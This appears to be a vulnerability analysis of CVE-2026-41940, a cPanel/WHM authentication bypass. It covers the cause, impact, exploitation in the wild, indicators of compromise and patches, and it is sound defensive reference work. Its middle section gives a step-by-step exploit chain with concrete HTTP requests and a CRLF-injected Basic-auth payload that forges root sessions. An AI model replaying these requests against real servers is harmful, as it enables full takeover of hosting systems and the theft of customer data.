CVE-2026-41940: 
cPanel vulnerability analysis and mitigation

CVE-2026-41940 is a critical authentication bypass vulnerability in cPanel & WHM and WP Squared (WP2) that allows unauthenticated remote attackers to gain unauthorized access to the control panel without valid credentials. The vulnerability affects cPanel/WHM versions after 11.40 across multiple release tracks, with patched versions including 11.86.0.41, 11.110.0.97, 11.118.0.63, 11.126.0.54, 11.132.0.29, 11.134.0.20, 11.136.0.5, and WP2 prior to 136.1.7. It was disclosed on April 29, 2026, and was confirmed to have been exploited as a zero-day since at least late February 2026 — approximately 64 days before public disclosure. The vulnerability carries a CVSS v3.1 base score of 9.8 (Critical) and a CVSS v4.0 base score of 9.3 (Critical) (Github Advisory, CISA KEV).

The vulnerability is classified as CWE-306 (Missing Authentication for Critical Function) and is rooted in a CRLF injection flaw in cPanel's session management subsystem. Specifically, the saveSession function in Cpanel/Session.pm failed to call filter_sessiondata() before writing session data to disk, allowing carriage return and line feed characters (\r\n) to be injected into session files. An attacker exploits this by: (1) minting a pre-authentication session via a failed login, (2) sending a crafted HTTP Basic Authorization header containing \r\n-delimited key-value pairs (e.g., hasroot=1, tfa_verified=1, successful_internal_auth_with_timestamp) as the password field, using a cookie stripped of its ob segment to bypass password encoding, and (3) triggering the do_token_denied code path (by requesting a URL without a security token) to force Cpanel::Session::Modify to re-read the raw session file and promote the injected fields into the JSON cache. Once the cache is updated, subsequent requests load the forged session with root-level privileges, bypassing password validation entirely because successful_internal_auth_with_timestamp is set (watchTowr Labs, Github Advisory).

Successful exploitation grants an unauthenticated remote attacker full administrative access to the cPanel or WHM control panel, equivalent to root-level server access. This enables complete server takeover, including the ability to manage all hosted accounts, modify system configurations, access customer data and credentials, execute arbitrary commands, and deploy malware. In observed attacks, threat actors leveraged this access to deploy the "Sorry" ransomware (encrypting files with ChaCha20 and RSA-2048), install the Mirai botnet, deploy the Filemanager backdoor, and conduct credential theft. Over 44,000 servers were reported compromised, with government, military, and MSP networks targeted across Southeast Asia and globally (BleepingComputer, CISA KEV).

CVE-2026-41940 is actively exploited in the wild and was added to CISA's Known Exploited Vulnerabilities (KEV) catalog on April 30, 2026, with a federal agency remediation deadline of May 3, 2026. The vulnerability was exploited as a zero-day for approximately 64 days before the patch was released. Multiple exploit artifacts are publicly available, including a detection scanner by watchTowr Labs (watchTowr GitHub), a scanner by Sachinart, and a fully functional Metasploit module (cpanel_whm_auth_bypass_rce.rb) added to the Rapid7 Metasploit Framework on May 18, 2026, implementing the complete exploitation chain including session minting, CRLF injection, and RCE via SSH. The EPSS score is approximately 26.55% (Feedly data) to 91.2% (GitHub Advisory). Threat actors attributed to exploitation include the Mr_Rot13 group (deploying the Filemanager backdoor to ~2,000 servers) and ransomware operators deploying "Sorry" ransomware. Malware families weaponizing this CVE include SORRY ransomware, Mirai, Filemanager, and Shai-Hulud (CISA KEV, Metasploit).

1. Reconnaissance: Identify internet-facing cPanel/WHM instances using Shodan, Censys, or similar tools, targeting ports 2082, 2083, 2086, or 2087. Confirm the version is unpatched (prior to 11.110.0.97, 11.118.0.63, 11.126.0.54, 11.132.0.29, 11.134.0.20, or 11.136.0.5).

2. Mint a pre-authentication session: Send a failed login request to obtain a valid session cookie:

POST /login/?login_only=1 HTTP/1.1
Host: target:2087
Content-Type: application/x-www-form-urlencoded

user=root&pass=wrongpassword

Extract the whostmgrsession cookie value (e.g., %3aQSJN_sFdKZtCi2o_%2c4d257abc...). URL-decode and strip the ,<ob_part> suffix to get the base session name (e.g., %3aQSJN_sFdKZtCi2o_).

3. Craft the CRLF injection payload: Construct a Basic auth credential string where the password contains injected session fields:

root:x\r\nhasroot=1\r\ntfa_verified=1\r\nuser=root\r\ncp_security_token=/cpsess9999999999\r\nsuccessful_internal_auth_with_timestamp=<unix_timestamp>

Base64-encode this string for use in the Authorization header.

4. Inject CRLF into the session file: Send a request using the no-ob cookie (base session name only, no comma/ob segment) and the crafted Authorization header:

GET / HTTP/1.1
Host: target:2087
Cookie: whostmgrsession=%3aQSJN_sFdKZtCi2o_
Authorization: Basic <base64_encoded_payload>

A 307 redirect response confirms the injection landed in the raw session file.

5. Promote injected fields to the JSON cache: Trigger the do_token_denied code path by requesting a URL without a security token:

GET /scripts2/listaccts HTTP/1.1
Host: target:2087
Cookie: whostmgrsession=%3aQSJN_sFdKZtCi2o_

This forces Cpanel::Session::Modify to re-read the raw file and write the injected fields as top-level keys into the JSON session cache.

6. Access the control panel as root: Use the session cookie to make authenticated API calls. The successful_internal_auth_with_timestamp field bypasses password validation:

GET /cpsess9999999999/json-api/version HTTP/1.1
Host: target:2087
Cookie: whostmgrsession=%3aQSJN_sFdKZtCi2o_

A 200 OK response confirms root-level WHM access.

7. Post-exploitation: Use WHM API access to execute commands, deploy ransomware, install backdoors, exfiltrate credentials, or pivot to hosted accounts (watchTowr Labs, Metasploit).

• Network: Unusual HTTP POST requests to /login/?login_only=1 followed immediately by GET requests to / or /scripts2/ endpoints with the same session cookie but no security token prefix; HTTP Basic Authorization headers with base64-encoded values containing \r\n sequences; outbound connections from the cPanel server to unknown IPs on non-standard ports (indicative of ransomware C2 or reverse shells); scanning activity against ports 2082, 2083, 2086, 2087.

• File System: Files with .sorry extension appended (Sorry ransomware); README.md ransom notes in web directories; unexpected files in /var/cpanel/sessions/raw/ or /var/cpanel/sessions/cache/ with anomalous content (injected fields like hasroot=1, tfa_verified=1, successful_internal_auth_with_timestamp); new or modified files in web roots (Filemanager backdoor); unexpected cron jobs or SSH authorized_keys modifications; Mirai botnet binaries in /tmp or world-writable directories.

• Logs: cPanel/WHM access logs (/usr/local/cpanel/logs/access_log) showing 307 redirects from GET / with Basic auth headers, followed by 401 responses from /scripts2/ endpoints using the same session; entries showing do_token_denied triggered for the same session ID; WHM API calls (/json-api/) from sessions with no prior successful login in the auth log; /var/log/cpsrvd-ssl_log showing authentication anomalies.

• Process: Unexpected child processes spawned by cPanel/WHM services (e.g., bash, curl, wget, python, Go binaries); cpsrvd spawning encryption processes; SSH root logins from unexpected IP addresses following WHM access.

• Ransomware IOC: Tox ID 3D7889AEC00F2325E1A3FBC0ACA4E521670497F11E47FDE13EADE8FED3144B5EB56D6B198724 associated with Sorry ransomware operators (BleepingComputer, watchTowr Labs).

Immediate action: Update cPanel & WHM to a patched version. Patched releases are:

• cPanel/WHM 11.86.0.41 (for 11.40–86.x track)
• cPanel/WHM 11.110.0.97
• cPanel/WHM 11.118.0.63
• cPanel/WHM 11.126.0.54
• cPanel/WHM 11.132.0.29
• cPanel/WHM 11.134.0.20
• cPanel/WHM 11.136.0.5
• WP Squared (WP2) 136.1.7

Workarounds (if immediate patching is not possible): Restrict WHM access (port 2087) to trusted IP addresses via firewall rules; disable external access to the WHM login interface. Post-compromise: Audit all administrative accounts for unauthorized changes, review session files in /var/cpanel/sessions/ for anomalous content, rotate all credentials, and check for persistence mechanisms (backdoors, SSH keys, cron jobs). CISA mandated federal agencies patch by May 3, 2026 (cPanel Advisory, CISA KEV).

The vulnerability generated extensive coverage and community reaction. watchTowr Labs published a detailed technical write-up titled "The Internet Is Falling Down" describing the full CRLF injection chain, which was widely shared across security communities on Reddit (r/netsec, r/blueteamsec, r/sysadmin) and Mastodon. The Register, TechCrunch, BleepingComputer, SecurityWeek, and The Hacker News all covered the story prominently. Shadowserver reported at least 44,000 compromised IP addresses within days of public disclosure. The Australian Cyber Security Centre (ACSC), Canadian Centre for Cyber Security, New Zealand NCSC, Singapore CSA, and Belgium CCB all issued advisories urging immediate patching. Rapid7 published an ETR (Emerging Threat Response) and subsequently added a Metasploit module. Pentest-tools.com released a free scanner for the vulnerability. The sysadmin community expressed significant alarm given cPanel's ubiquity across shared hosting infrastructure, with multiple hosting providers (Namecheap, InMotion Hosting, Digital Pacific) issuing customer notifications. The zero-day exploitation window of ~64 days before patch release drew particular criticism (BleepingComputer, watchTowr Labs).